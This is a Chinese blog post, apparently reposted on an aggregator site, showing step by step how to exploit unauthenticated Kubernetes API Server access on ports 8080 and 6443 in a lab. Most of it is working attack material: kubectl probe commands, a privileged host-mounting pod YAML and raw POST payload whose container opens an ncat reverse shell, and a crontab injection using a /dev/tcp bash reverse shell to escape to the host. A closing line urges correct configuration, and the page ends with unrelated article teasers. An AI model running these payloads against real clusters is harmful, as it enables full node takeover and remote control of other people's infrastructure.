【云安全】云原生-K8S- API Server 未授权访问

API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。

8080 端口

默认情况下不启用,该端口不需要认证和授权检查。如果意外暴露(v1.20以下版本),攻击者可以直接访问集群资源,导致未授权访问。

--insecure-port 和 --insecure-bind-address 参数已经被 废弃,在 Kubernetes v1.20+ 版本中它们已经无法正常使用,尤其是 --insecure-port,只能被设置为 0,否则会导致 API Server 启动失败。

(1)攻击者发现未授权访问页面

这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令
安装工具 | Kubernetes

我这里使用scoop安装kubectl工具

(2)攻击者使用kubectl工具运行以下命令进行探测

kubectl -s 192.168.48.142:8080 get nodes
kubectl -s 192.168.48.142:8080 get pods

得到类似以下信息(这里复现用的版本是v1.23.6,是借助本地代理方式实现的,其与低版本暴露8080端口是一样的效果)

(3)攻击者通过1.yaml文件自定义创建恶意POD,配置如下

参考文章 【云原生安全】Bad Pods系列基础篇-创建恶意POD - FreeBuf网络安全行业门户

apiVersion: v1
kind: Pod
metadata:name: everything-allowed-revshell-podlabels:app: pentest
spec:hostNetwork: truehostPID: truehostIPC: truecontainers:- name: everything-allowed-podimage: raesene/ncatcommand: [ "/bin/sh", "-c", "--" ]args: [ "ncat 192.168.48.138 4446 -e /bin/bash;" ]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderoot#nodeName: master-1 #取消注释,可将master-1更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。volumes:- name: noderoothostPath:path: /

创建POD命令

kubectl -s 192.168.48.142:8080 create -f 1.yaml

(4)攻击者监听,接受到shell,执行hostname,返回node2,但是容器权限

(5)写入计划任务,进行容器逃逸

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.48.1/4444 0>&1\n" >> /host/etc/crontab

(6)接受到宿主机权限

​ 

6443 端口

默认启用,并且要求认证。如果配置错误,例如将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,攻击者可能绕过认证,获得集群管理员权限,造成未授权访问。

#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous

(1)攻击者发现6443端口未授权页面

(2)使用以下命令探测验证

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes 

结果

(3)同之前的8080端口一样的利用方式,创建恶意POD

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml

 同理,以下为POD配置内容

也可以通过POST发包的方式创建恶意POD

https://192.168.48.142:6443/api/v1/namespaces/default/pods/#POST提交:{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"name\":\"everything-allowed-revshell-pod\",\"namespace\":\"default\",\"labels\":{\"app\":\"pentest\"}},\"spec\":{\"hostNetwork\":true,\"hostPID\":true,\"hostIPC\":true,\"containers\":[{\"name\":\"everything-allowed-pod\",\"image\":\"raesene/ncat\",\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"args\":[\"ncat 192.168.48.138 4446 -e /bin/bash;\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"noderoot\"}]}}"},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}

(4)攻击者成功接受到shell,节点为node2,容器root权限。后续利用,不再累赘

因此,确保 API Server 的配置正确,避免暴露不必要的端口,并严格控制用户权限,是保障集群安全的关键。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69751.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大模型Agent开发框架概览

一、低代码框架 无需代码即可完成Agent开发热门框架:Coze、Dify、langFlow 二、基础框架 借助大模型原生能力进行Agent开发function calling、tools use 三、代码框架 借助代码完成Agent开发热门框架:LangChain、LangGraph、LIamaIndex 四、Multi-…

对前端的技术进行分层

前端相比较后端而言,由于其发展历史和浏览器的标准不一,导致其看上去简单,但是深入起来又很复杂,在最开始学习的时候,我们往往是了解一下三剑客和vue、react的api就开始上手工作了,但是到后面会发现&#x…

DeepSeek的大模型介绍

文章目录 DeepSeek是什么DeepSeek平台使用DeepSeek的使用场景DeepSeek的本地部署 DeepSeek是什么 DeepSeek是一家2023/7月年成立的人工智能公司,致力于开发高效、高性能的生成式AI模型,在短短一年多的时间里推出了多款强大的开源模型,包括De…

yolov8涨点系列之多头自注意力引入与FasterNet融合生成新模块

文章目录 多头自注意力介绍原理特点yolov8增加MultiHeadSelfAttention具体步骤融合新模块代码(1)在_init_.py+__conv.py文件的__all__内添加‘MultiHeadSelfAttention’(2)conv.py文件复制粘贴新模块代码MultiHeadSelfAttentionFasterNetBlockFasterNetBlockWithSelfAttention代…

问卷数据分析|SPSS实操之单因素方差分析

适用条件: 检验分类变量和定量变量之间的差异 分类变量数量要大于等于三 具体操作: 1.选择分析--比较平均值--单因素ANOVA检验 2. 下方填分类变量,上方为各个量表数据Z1-Y2 3. 点击选项,选择描述和方差齐性检验 4.此处为结果数…

全排列II(力扣47)

这道题与全排列(力扣46)-CSDN博客 的不同就在于集合中有相同元素,我们唯一多的操作就是在同一层递归中也要去重,其他的都与上一题相同。大家可以结合我下面的代码及详细注释理解此题。 代码及详细注释如下: class Solution { public:vector…

信息收集-主机服务器系统识别IP资产反查技术端口扫描协议探针角色定性

知识点: 1、信息收集-服务器系统-操作系统&IP资产 2、信息收集-服务器系统-端口扫描&服务定性 一、演示案例-应用服务器-操作系统&IP资产 操作系统 1、Web大小写(windows不区分大小写,linux区分大小写) 2、端口服务特征(22就是linux上的服…

vmware安装win7

1、版本说明 vmware workstation 16 win7 X64 2、安装步骤 安装步骤有点独特,先配置虚拟机,然后再虚拟机的虚拟光驱里添加下载的win7。 配置完了之后,点击要运行的虚拟机,然后一直往下走就可以完成系统的安装。 3、配置系统以解…

【C++学习笔记】if 和 if constexpr

背景 在工作中&#xff0c;在一个模版函数里&#xff0c;需要判断 if (std::is_same<T, float>) 来选择走哪个分支&#xff0c;分支里的函数是只能处理相应的类型的&#xff0c;编译过程中产生了报错。 解释 if (std::is_same<T, float>::value)和if constexpr …

使用 Express 写接口

在现代 Web 开发中&#xff0c;构建高效的 RESTful API 是非常重要的。Node.js 和其上的 Express 框架为开发者提供了一种简便而强大的方式来创建这些接口。本文将详细介绍如何使用 Express 来编写和部署一个简单的 RESTful API&#xff0c;涵盖从安装到实现增删改查&#xff0…

【ThreeJS Basics 1-3】Hello ThreeJS,实现第一个场景

文章目录 环境创建一个项目安装依赖基础 Web 页面概念解释编写代码运行项目 环境 我的环境是 node version 22 创建一个项目 首先&#xff0c;新建一个空的文件夹&#xff0c;然后 npm init -y , 此时会快速生成好默认的 package.json 安装依赖 在新建的项目下用 npm 安装依…

Linux下的进程切换与调度

目录 1.进程的优先级 优先级是什么 Linux下优先级的具体做法 优先级的调整为什么要受限 2.Linux下的进程切换 3.Linux下进程的调度 1.进程的优先级 我们在使用计算机的时候&#xff0c;通常会启动多个程序&#xff0c;这些程序最后都会变成进程&#xff0c;但是我们的硬…

使用 EMQX 接入 LwM2M 协议设备

LwM2M 协议介绍 LwM2M 是一种轻量级的物联网设备管理协议&#xff0c;由 OMA&#xff08;Open Mobile Alliance&#xff09;组织制定。它基于 CoAP &#xff08;Constrained Application Protocol&#xff09;协议&#xff0c;专门针对资源受限的物联网设备设计&#xff0c;例…

2024年12月中国电子学会青少年软件编程(Python)等级考试试卷(五级)

青少年软件编程&#xff08;Python&#xff09;等级考试试卷&#xff08;五级&#xff09; 一、单选题(共25题&#xff0c;共50分) 1.已知x[3,5,7]&#xff0c;那么执行语句x[len(x):][1,2]后&#xff0c;x的值?(A) A. [3,5,7,1,2] B. [1,2,3,5,7] C. [3,5,7] D. [1,2] 2.以下…

React 第二十五节 <Fragment></Fragment> 的用途以及使用注意事项详解

文章如果错误偏差&#xff0c;烦请及时批评指正 一、为什么要使用 <Fragment>&#xff1f; 因为在 React 中&#xff0c;组件必须返回单个根元素。当我们尝试直接返回相邻的 JSX 元素时&#xff1a; function BrokenComponent() {return (<h1>标题</h1><…

服务器绑定 127.0.0.1 和 0.0.0.0 的区别

前言 IP 地址实际上并不是分配给计算机的&#xff0c;而是分配给网卡的&#xff0c;因此当计算机上存在多块网卡时&#xff0c;每一块网卡都会有自己的 IP 地址。 绑定 127.0.0.1 是绑定到 lookback 这个虚拟的本地回环接口&#xff0c;该接口只处理本机上的数据&#xff0c;…

deepseek和chatgpt对比

DeepSeek 和 ChatGPT 都是自然语言处理领域的工具&#xff0c;但它们的设计目标和功能有所不同。 功能定位&#xff1a; ChatGPT 是一个基于 OpenAI GPT-3 或 GPT-4 的聊天机器人&#xff0c;旨在进行人机对话、文本生成、问题解答等&#xff0c;广泛应用于教育、客服、创意写作…

【Java 面试 八股文】Redis篇

Redis 1. 什么是缓存穿透&#xff1f;怎么解决&#xff1f;2. 你能介绍一下布隆过滤器吗&#xff1f;3. 什么是缓存击穿&#xff1f;怎么解决&#xff1f;4. 什么是缓存雪崩&#xff1f;怎么解决&#xff1f;5. redis做为缓存&#xff0c;mysql的数据如何与redis进行同步呢&…

第二天:工具的使用

每天上午9点左右更新一到两篇文章到专栏《Python爬虫训练营》中&#xff0c;对于爬虫有兴趣的伙伴可以订阅专栏一起学习&#xff0c;完全免费。 键盘为桨&#xff0c;代码作帆。这趟为期30天左右的Python爬虫特训即将启航&#xff0c;每日解锁新海域&#xff1a;从Requests库的…

MySQL8.0 innodb Cluster 高可用集群部署(MySQL、MySQL Shell、MySQL Router安装)

简介 MySQL InnoDB集群&#xff08;Cluster&#xff09;提供了一个集成的&#xff0c;本地的&#xff0c;HA解决方案。Mysq Innodb Cluster是利用组复制的 pxos 协议&#xff0c;保障数据一致性&#xff0c;组复制支持单主模式和多主模式。 InnoDB Cluster组件&#xff1a; …